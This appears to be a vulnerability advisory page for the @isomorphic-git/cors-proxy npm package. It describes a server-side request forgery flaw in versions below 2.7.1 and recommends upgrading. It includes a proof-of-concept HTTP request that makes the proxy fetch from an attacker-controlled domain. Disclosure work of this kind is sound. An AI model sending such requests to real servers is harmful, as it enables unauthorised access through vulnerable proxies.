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@isomorphic-git/cors-proxy/.../cors-proxy@2.7.0 vulnerabilities

Proxy clone and push requests for the browser

  • latest version

    2.7.1

  • latest non vulnerable version

    2.7.1

  • first published

    6 years ago

  • latest version published

    2 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the @isomorphic-git/cors-proxy package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Server-side Request Forgery (SSRF)

    @isomorphic-git/cors-proxy is a Proxy clone and push requests for the browser

    Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to missing sanitization and validation of the redirection action in middleware.js.

    PoC

    GET /www.attacker-controlled-domain.com/info/refs?service=git-receive-pack HTTP/1.1
Host: target.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

    How to fix Server-side Request Forgery (SSRF)?

    Upgrade @isomorphic-git/cors-proxy to version 2.7.1 or higher.

    <2.7.1
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